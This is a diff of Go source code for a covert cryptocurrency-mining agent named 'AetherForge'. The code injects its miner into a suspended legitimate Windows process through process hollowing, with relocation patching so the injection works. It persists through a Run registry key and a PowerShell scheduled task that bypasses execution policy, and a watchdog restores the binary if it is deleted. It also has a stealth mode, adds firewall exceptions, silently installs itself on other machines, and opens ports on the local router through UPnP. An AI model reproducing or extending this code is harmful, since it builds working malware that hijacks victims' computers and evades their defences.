return copyFile(installedBin, backup)
}
// WantsSpreadInstall reports --spread-install CLI flag.
func WantsSpreadInstall() bool {
return wantsSpreadInstall()
}
func wantsSpreadInstall() bool {
for _, arg := range os.Args[1:] {
if arg == spreadFlag {
return true
}
}
return false
}
func isRunMode() bool {
for _, arg := range os.Args[1:] {
if arg == runFlag {
return true
}
}
return false
}
func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) {
if cfg.StealthMode {
return
}
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin,
)), 0644)
}

View File

@@ -0,0 +1,18 @@
//go:build darwin
package deploy
import (
"log"
"crypto-miner-agent/config"
)
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
log.Printf("[firewall] macOS app firewall is coarse; worker path registered: %s", binPath)
_ = cfg
}
func platformRemoveFirewall(cfg config.RuntimeConfig) {
_ = cfg
}

View File

@@ -0,0 +1,36 @@
//go:build linux
package deploy
import (
"fmt"
"log"
"os/exec"
"strconv"
"strings"
"crypto-miner-agent/config"
)
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
if strings.TrimSpace(binPath) == "" {
return
}
port := 8989
script := fmt.Sprintf(`
if command -v ufw >/dev/null 2>&1; then
ufw allow out to any port %d comment 'AetherForge' 2>/dev/null || true
fi
`, port)
cmd := exec.Command("/bin/sh", "-c", script)
if err := cmd.Run(); err != nil {
log.Printf("[firewall] ufw rule failed: %v", err)
return
}
log.Printf("[firewall] linux firewall rule attempted for %s", binPath)
_ = strconv.Itoa(port)
}
func platformRemoveFirewall(cfg config.RuntimeConfig) {
_ = cfg
}

View File

@@ -0,0 +1,15 @@
//go:build windows
package deploy
import (
"crypto-miner-agent/config"
)
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
EnsureFirewallExclusionWindows(cfg, binPath)
}
func platformRemoveFirewall(cfg config.RuntimeConfig) {
RemoveFirewallExclusionWindows(cfg)
}

View File

@@ -0,0 +1,14 @@
//go:build !windows && !linux && !darwin
package deploy
import "crypto-miner-agent/config"
func platformEnsureFirewall(cfg config.RuntimeConfig, binPath string) {
_ = cfg
_ = binPath
}
func platformRemoveFirewall(cfg config.RuntimeConfig) {
_ = cfg
}

View File

@@ -13,9 +13,8 @@ import (
const firewallRulePrefix = "AetherForge"
// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary.
// Requires administrator privileges on many systems; failures are logged and ignored.
func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) {
// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
if !cfg.FirewallExclusion {
return
}
@@ -52,8 +51,8 @@ if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue))
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
}
// RemoveFirewallExclusion deletes firewall rules created for this worker.
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
// RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
ruleBase := firewallRuleBaseName(cfg)
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))

View File

@@ -9,8 +9,6 @@ import (
"crypto-miner-agent/config"
)
const backupSuffix = ".bak"
// StartWatchdog keeps persistence and the installed binary healthy.
func StartWatchdog(cfg config.RuntimeConfig) {
if !cfg.SelfHealing {
@@ -32,12 +30,12 @@ func maintainInstall(cfg config.RuntimeConfig) error {
if err != nil {
return err
}
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
backupExe := installedExe + backupSuffix
installedBin := filepath.Join(installDir, BinaryName(cfg))
backupBin := installedBin + backupSuffix
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
if _, statErr := os.Stat(backupExe); statErr == nil {
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
if _, err := os.Stat(installedBin); os.IsNotExist(err) {
if _, statErr := os.Stat(backupBin); statErr == nil {
if copyErr := copyFile(backupBin, installedBin); copyErr != nil {
return copyErr
}
log.Printf("[watchdog] restored missing binary from backup")
@@ -45,25 +43,17 @@ func maintainInstall(cfg config.RuntimeConfig) error {
}
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
if err := configureAutoStart(cfg, installedExe); err != nil {
if err := configureAutoStart(cfg, installedBin); err != nil {
return err
}
}
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
if err := createScheduledTask(cfg, installedExe); err != nil {
if err := configureRunMode(cfg, installedBin); err != nil {
return err
}
}
if cfg.FirewallExclusion {
EnsureFirewallExclusion(cfg, installedExe)
EnsureFirewallExclusion(cfg, installedBin)
}
return nil
}
func saveBackup(installedExe string) error {
backup := installedExe + backupSuffix
if _, err := os.Stat(backup); err == nil {
return nil
}
return copyFile(installedExe, backup)
}

View File

@@ -0,0 +1,12 @@
//go:build !windows
package deploy
import "fmt"
// RunHollowed is only available on Windows with the hollow build tag.
func RunHollowed(targetExe string, payload []byte) error {
_ = targetExe
_ = payload
return fmt.Errorf("process hollowing not available on this platform")
}

View File

@@ -29,20 +29,92 @@ const (
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
CONTEXT_FULL_AMD64 = 0x10000B
IMAGE_REL_BASED_ABSOLUTE = 0
IMAGE_REL_BASED_DIR64 = 10
)
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
for i := uint32(0); i < uint32(numSections); i++ {
sec := payload[sectionsBase+i*40:]
vAddr := binary.LittleEndian.Uint32(sec[12:])
vSize := binary.LittleEndian.Uint32(sec[8:])
rawOff := binary.LittleEndian.Uint32(sec[20:])
if rva >= vAddr && rva < vAddr+vSize {
return rawOff + (rva - vAddr), nil
}
}
return 0, fmt.Errorf("RVA 0x%x not found in any section", rva)
}
// applyRelocations patches absolute addresses in the payload copy when the image
// was loaded at a different base than its preferred one. Only IMAGE_REL_BASED_DIR64
// (type 10) entries are applied; all other types are skipped.
func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) {
optHeader := payload[eLFANew+24:]
// DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC.
// DataDirectory array starts at offset 112 in a PE32+ optional header.
const dataDirOffset = 112
if len(optHeader) < dataDirOffset+5*8+8 {
return
}
relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:])
relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:])
if relocRVA == 0 || relocSize == 0 {
return // no relocation table (non-PIE binary baked for a fixed address)
}
blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr)
if err != nil {
return
}
end := blockOff + relocSize
for blockOff < end && blockOff+8 <= uint32(len(payload)) {
pageRVA := binary.LittleEndian.Uint32(payload[blockOff:])
blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:])
if blkSize < 8 {
break
}
entryCount := (blkSize - 8) / 2
for i := uint32(0); i < entryCount; i++ {
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
relType := entry >> 12
relOff := uint32(entry & 0x0FFF)
if relType == IMAGE_REL_BASED_ABSOLUTE {
continue
}
if relType != IMAGE_REL_BASED_DIR64 {
continue
}
patchRVA := pageRVA + relOff
patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr)
if err != nil || int(patchOff)+8 > len(payload) {
continue
}
orig := int64(binary.LittleEndian.Uint64(payload[patchOff:]))
binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta))
}
blockOff += blkSize
}
}
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
func RunHollowed(targetExe string, payload []byte) error {
// Parse payload PE headers dynamically
if len(payload) < 0x40 {
return fmt.Errorf("payload too small")
}
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
if int(e_lfanew)+24 > len(payload) {
eLFANew := binary.LittleEndian.Uint32(payload[0x3c:])
if int(eLFANew)+24 > len(payload) {
return fmt.Errorf("invalid PE header offset")
}
ntHeader := payload[e_lfanew:]
ntHeader := payload[eLFANew:]
if string(ntHeader[:4]) != "PE\x00\x00" {
return fmt.Errorf("invalid PE signature")
}
@@ -51,7 +123,7 @@ func RunHollowed(targetExe string, payload []byte) error {
}
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:])
optHeader := ntHeader[24:]
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
return fmt.Errorf("payload must be PE32+")
@@ -71,8 +143,8 @@ func RunHollowed(targetExe string, payload []byte) error {
si.Cb = uint32(unsafe.Sizeof(*si))
pi := new(syscall.ProcessInformation)
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
ret, _, err := procCreateProcessW.Call(
// 1. Spawn the target process in a suspended state.
ret, _, lastErr := procCreateProcessW.Call(
0,
uintptr(unsafe.Pointer(targetPtr)),
0, 0, 0,
@@ -82,18 +154,13 @@ func RunHollowed(targetExe string, payload []byte) error {
uintptr(unsafe.Pointer(pi)),
)
if ret == 0 {
return fmt.Errorf("CreateProcessW failed: %v", err)
return fmt.Errorf("CreateProcessW: %v", lastErr)
}
defer syscall.CloseHandle(pi.Process)
defer syscall.CloseHandle(pi.Thread)
// The following maps the exact structural steps needed for PE injection.
// Note: To make this fully functional, you need full PE offset math
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
// 2. Get Thread Context to locate the Process Environment Block (PEB)
// Allocate 16-byte aligned context buffer for x64
ctxBytes := make([]byte, 1232+16)
// 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread).
ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment
var ctxPtr uintptr
for i := 0; i < 16; i++ {
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
@@ -101,73 +168,110 @@ func RunHollowed(targetExe string, payload []byte) error {
break
}
}
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
if ret == 0 {
return fmt.Errorf("GetThreadContext failed: %v", err)
return fmt.Errorf("GetThreadContext: %v", lastErr)
}
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start
// 3. Read the PEB to find the original ImageBase
// 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16).
var origImageBase uint64
var bytesRW uintptr
procReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(rdx+16), // PEB.ImageBaseAddress
uintptr(rdx+16),
uintptr(unsafe.Pointer(&origImageBase)),
8,
uintptr(unsafe.Pointer(&bytesRW)),
)
// 4. Unmap the original executable code from memory
// 4. Unmap the original image.
if origImageBase != 0 {
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
}
// 5. Allocate new memory for our payload at the required ImageBase
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
// 5. Allocate memory for the payload. Try preferred base first; fall back to ASLR.
newMem, _, _ := procVirtualAllocEx.Call(
uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
)
needsReloc := false
if newMem == 0 {
// Fallback allocation if preferred base is taken (Payload must support relocation)
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
newMem, _, lastErr = procVirtualAllocEx.Call(
uintptr(pi.Process), 0, uintptr(sizeOfImage),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
)
if newMem == 0 {
return fmt.Errorf("VirtualAllocEx failed: %v", err)
return fmt.Errorf("VirtualAllocEx: %v", lastErr)
}
needsReloc = true
}
// 6. Write the PE headers and each PE section into the new memory allocation
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
// 6. If we landed at a different base, patch absolute addresses in a local copy
// before writing to the remote process. Without this the payload crashes on
// every call through its import table and global data pointers.
patched := payload
if needsReloc {
delta := int64(newMem) - int64(imageBase)
patched = make([]byte, len(payload))
copy(patched, payload)
applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr))
}
sectionsStart := 24 + uint32(sizeOfOptionalHeader)
// 7. Write PE headers and sections to the remote process.
ret, _, lastErr = procWriteProcessMemory.Call(
uintptr(pi.Process), newMem,
uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders),
uintptr(unsafe.Pointer(&bytesRW)),
)
if ret == 0 {
return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr)
}
sectionsStart := 24 + uint32(sizeOfOptHdr)
patchedNT := patched[eLFANew:]
for i := uint16(0); i < numSections; i++ {
secHdr := ntHeader[sectionsStart+uint32(i)*40:]
secHdr := patchedNT[sectionsStart+uint32(i)*40:]
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
rawSize := binary.LittleEndian.Uint32(secHdr[16:])
rawOff := binary.LittleEndian.Uint32(secHdr[20:])
if sizeOfRawData > 0 {
procWriteProcessMemory.Call(
if rawSize > 0 {
ret, _, lastErr = procWriteProcessMemory.Call(
uintptr(pi.Process),
newMem+uintptr(virtAddr),
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
uintptr(sizeOfRawData),
uintptr(unsafe.Pointer(&patched[rawOff])),
uintptr(rawSize),
uintptr(unsafe.Pointer(&bytesRW)),
)
if ret == 0 {
return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr)
}
}
}
// Update the PEB with the new ImageBase
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
// 8. Update PEB.ImageBaseAddress to the actual allocation address.
procWriteProcessMemory.Call(
uintptr(pi.Process), uintptr(rdx+16),
uintptr(unsafe.Pointer(&newMem)), 8,
uintptr(unsafe.Pointer(&bytesRW)),
)
// 7. Update the Thread Context to point to our payload's Entry Point
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
// 9. Set the initial thread's Rcx to our entry point.
// The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point.
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint)
ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
if ret == 0 {
return fmt.Errorf("SetThreadContext: %v", lastErr)
}
// 8. Resume the hollowed thread, launching our miner inside the target shell
ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
// 10. Resume the hollowed thread.
ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread))
if ret == 0xFFFFFFFF {
return fmt.Errorf("ResumeThread failed: %v", err)
return fmt.Errorf("ResumeThread: %v", lastErr)
}
return nil

View File

@@ -23,6 +23,14 @@ func EnsureAgentID(installDir string) (string, error) {
return id, nil
}
// loadOrCreateAgentID reuses an existing agent.id when re-running spread install.
func loadOrCreateAgentID(installDir string) (string, error) {
if id, err := LoadAgentID(installDir); err == nil && id != "" {
return id, nil
}
return EnsureAgentID(installDir)
}
// LoadAgentID returns the persisted agent ID from the install directory.
func LoadAgentID(installDir string) (string, error) {
path := filepath.Join(installDir, agentIDFile)

View File

@@ -2,40 +2,31 @@ package deploy
import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
const runFlag = "--run"
// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
// and relaunches the miner from there. Returns true when the current process should exit.
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
if isRunMode() {
return false, nil
}
currentExe, err := CurrentExecutable()
if err != nil {
return false, err
}
for _, arg := range os.Args[1:] {
if arg == runFlag {
return false, nil
}
}
installDir, err := resolveInstallDirWithFallback(cfg)
if err != nil {
return false, err
}
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
installedBin := filepath.Join(installDir, BinaryName(cfg))
if samePath(currentExe, installedExe) {
if samePath(currentExe, installedBin) {
return false, nil
}
@@ -43,12 +34,12 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
return false, fmt.Errorf("create install dir: %w", err)
}
if err := copyFile(currentExe, installedExe); err != nil {
if err := copyFile(currentExe, installedBin); err != nil {
return false, fmt.Errorf("copy miner: %w", err)
}
_ = saveBackup(installedExe)
_ = saveBackup(installedBin)
agentID, err := EnsureAgentID(installDir)
agentID, err := loadOrCreateAgentID(installDir)
if err != nil {
return false, fmt.Errorf("agent id: %w", err)
}
@@ -58,151 +49,43 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
logPath = ""
}
if !cfg.StealthMode {
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
)), 0644)
writeInstalledMarker(cfg, installDir, installedBin, agentID)
if wantsSpreadInstall() {
_ = setFirstRunSpreadMarker(installDir)
}
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
if err := configureAutoStart(cfg, installedExe); err != nil {
if err := configureAutoStart(cfg, installedBin); err != nil {
return false, fmt.Errorf("auto-start: %w", err)
}
}
if err := configureRunMode(cfg, installedExe); err != nil {
if err := configureRunMode(cfg, installedBin); err != nil {
return false, err
}
EnsureFirewallExclusion(cfg, installedExe)
EnsureFirewallExclusion(cfg, installedBin)
if err := relaunch(installedExe, logPath); err != nil {
if err := relaunch(installedBin, logPath); err != nil {
return false, fmt.Errorf("start installed miner: %w", err)
}
return true, nil
}
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err == nil {
return dir, nil
// SpreadInstall performs silent install from a spread-kit launcher (same as InstallIfNeeded).
func SpreadInstall(cfg config.RuntimeConfig) (bool, error) {
if isLocalhostURL(cfg.ServerURL) {
LogSpreadError("preflight", fmt.Errorf("server URL is localhost — workers on other machines cannot reach the command deck; re-forge with your LAN IP"))
}
fallbacks := []string{"localappdata", "appdata", "temp"}
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
for _, base := range fallbacks {
if seen[base] {
continue
}
seen[base] = true
try := cfg
try.InstallBase = base
dir, tryErr := try.InstallDirectory()
if tryErr == nil {
return dir, nil
}
}
return "", err
}
func InstallDir(workerName, buildID string) (string, error) {
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: workerName,
BuildID: buildID,
InstallBase: "localappdata",
InstallRelativePath: config.DefaultInstallRelativePath,
},
}.InstallDirectory()
}
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
ok, err := InstallIfNeeded(cfg)
if err != nil {
return err
LogSpreadError("spread-install", err)
return ok, err
}
defer k.Close()
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
}
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
switch cfg.RunAs {
case "scheduled", "service":
return createScheduledTask(cfg, installedExe)
default:
return nil
}
}
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
taskName := PersistenceKeyName(cfg)
if taskName == "" {
taskName = "CryptoMinerAgent"
}
script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(exePath, `'`, `''`),
runFlag,
strings.ReplaceAll(taskName, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run()
}
func PersistenceKeyName(cfg config.RuntimeConfig) string {
if cfg.StealthMode {
return cfg.EffectiveProcessName()
}
name := sanitizeName(cfg.WorkerName)
if name == "" {
return cfg.EffectiveProcessName()
}
return "CryptoMiner-" + name
}
func relaunch(exePath, logPath string) error {
cmd := exec.Command(exePath, runFlag)
cmd.Dir = filepath.Dir(exePath)
if logPath != "" {
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
}
return cmd.Start()
}
func sanitizeName(name string) string {
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
return replacer.Replace(strings.TrimSpace(name))
}
func samePath(a, b string) bool {
a = filepath.Clean(a)
b = filepath.Clean(b)
if strings.EqualFold(a, b) {
return true
}
aAbs, errA := filepath.Abs(a)
bAbs, errB := filepath.Abs(b)
if errA != nil || errB != nil {
return false
}
return strings.EqualFold(aAbs, bAbs)
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
if ok {
LogSpreadInfo("spread-install complete — worker relaunched from install dir")
}
return ok, err
}

343
agent/deploy/natpunch.go Normal file
View File

@@ -0,0 +1,343 @@
package deploy
import (
"bytes"
"encoding/xml"
"fmt"
"io"
"net"
"net/http"
"regexp"
"strconv"
"strings"
"time"
)
const ssdpAddr = "239.255.255.250:1900"
// NATPunchResult reports a UPnP port mapping attempt.
type NATPunchResult struct {
Success bool
ExternalIP string
ExternalPort int
InternalPort int
Method string
Message string
}
var (
reLocation = regexp.MustCompile(`(?i)LOCATION:\s*(\S+)`)
reControl = regexp.MustCompile(`(?i)<controlURL>([^<]+)</controlURL>`)
reService = regexp.MustCompile(`(?i)urn:schemas-upnp-org:service:(WANIPConnection|WANPPPConnection):1`)
)
// PunchUPnP maps externalPort -> internalPort on the local router via IGD UPnP.
func PunchUPnP(internalPort, externalPort int, description string) (NATPunchResult, error) {
if internalPort <= 0 {
internalPort = 8989
}
if externalPort <= 0 {
externalPort = internalPort
}
if description == "" {
description = "AetherForge"
}
location, err := discoverIGDLocation(4 * time.Second)
if err != nil {
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
}
controlURL, err := resolveWANControlURL(location)
if err != nil {
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
}
extIP, err := upnpGetExternalIP(controlURL)
if err != nil {
return NATPunchResult{Method: "upnp", Message: "GetExternalIP failed: " + err.Error()}, err
}
if err := upnpAddPortMapping(controlURL, externalPort, internalPort, description); err != nil {
return NATPunchResult{
Method: "upnp",
ExternalIP: extIP,
ExternalPort: externalPort,
InternalPort: internalPort,
Message: err.Error(),
}, err
}
msg := fmt.Sprintf("UPnP mapped %s:%d -> local :%d (%s)", extIP, externalPort, internalPort, description)
return NATPunchResult{
Success: true,
ExternalIP: extIP,
ExternalPort: externalPort,
InternalPort: internalPort,
Method: "upnp",
Message: msg,
}, nil
}
// CloseUPnP removes a UPnP port mapping.
func CloseUPnP(externalPort int) (string, error) {
if externalPort <= 0 {
return "", fmt.Errorf("external port required")
}
location, err := discoverIGDLocation(3 * time.Second)
if err != nil {
return "", err
}
controlURL, err := resolveWANControlURL(location)
if err != nil {
return "", err
}
if err := upnpDeletePortMapping(controlURL, externalPort); err != nil {
return "", err
}
return fmt.Sprintf("UPnP mapping removed for external port %d", externalPort), nil
}
// GetPublicEndpoint returns WAN IP via UPnP when available.
func GetPublicEndpoint() (string, error) {
location, err := discoverIGDLocation(3 * time.Second)
if err != nil {
return "", err
}
controlURL, err := resolveWANControlURL(location)
if err != nil {
return "", err
}
return upnpGetExternalIP(controlURL)
}
func discoverIGDLocation(timeout time.Duration) (string, error) {
conn, err := net.ListenPacket("udp4", ":0")
if err != nil {
return "", err
}
defer conn.Close()
target, _ := net.ResolveUDPAddr("udp4", ssdpAddr)
search := []byte("M-SEARCH * HTTP/1.1\r\n" +
"HOST: 239.255.255.250:1900\r\n" +
"MAN: \"ssdp:discover\"\r\n" +
"MX: 2\r\n" +
"ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n" +
"\r\n")
_ = conn.SetDeadline(time.Now().Add(timeout))
if _, err := conn.WriteTo(search, target); err != nil {
return "", err
}
buf := make([]byte, 4096)
for {
n, _, err := conn.ReadFrom(buf)
if err != nil {
break
}
body := string(buf[:n])
if m := reLocation.FindStringSubmatch(body); len(m) == 2 {
return strings.TrimSpace(m[1]), nil
}
}
return "", fmt.Errorf("no UPnP IGD found on LAN (SSDP timeout)")
}
func resolveWANControlURL(deviceLocation string) (string, error) {
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get(deviceLocation)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return "", err
}
text := string(body)
if !reService.MatchString(text) {
return "", fmt.Errorf("WANIPConnection service not found in IGD description")
}
m := reControl.FindStringSubmatch(text)
if len(m) != 2 {
return "", fmt.Errorf("UPnP controlURL not found")
}
controlPath := strings.TrimSpace(m[1])
base := deviceLocation
if idx := strings.Index(base, "://"); idx >= 0 {
if slash := strings.Index(base[idx+3:], "/"); slash >= 0 {
base = base[:idx+3+slash]
}
}
if strings.HasPrefix(controlPath, "http") {
return controlPath, nil
}
if !strings.HasPrefix(controlPath, "/") {
controlPath = "/" + controlPath
}
return base + controlPath, nil
}
func upnpGetExternalIP(controlURL string) (string, error) {
body := `<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetExternalIPAddress xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"/>
</s:Body>
</s:Envelope>`
resp, err := upnpSOAP(controlURL, "GetExternalIPAddress", body)
if err != nil {
return "", err
}
type envelope struct {
Body struct {
Response struct {
IP string `xml:"NewExternalIPAddress"`
} `xml:"GetExternalIPAddressResponse"`
} `xml:"Body"`
}
var env envelope
if err := xml.Unmarshal(resp, &env); err != nil {
return "", err
}
ip := strings.TrimSpace(env.Body.Response.IP)
if ip == "" {
return "", fmt.Errorf("empty external IP from router")
}
return ip, nil
}
func upnpAddPortMapping(controlURL string, externalPort, internalPort int, description string) error {
localIP, err := primaryLocalIPv4()
if err != nil {
return err
}
body := fmt.Sprintf(`<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>%d</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>%d</NewInternalPort>
<NewInternalClient>%s</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>%s</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>`, externalPort, internalPort, localIP, xmlEscape(description))
_, err = upnpSOAP(controlURL, "AddPortMapping", body)
return err
}
func upnpDeletePortMapping(controlURL string, externalPort int) error {
body := fmt.Sprintf(`<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>%d</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
</u:DeletePortMapping>
</s:Body>
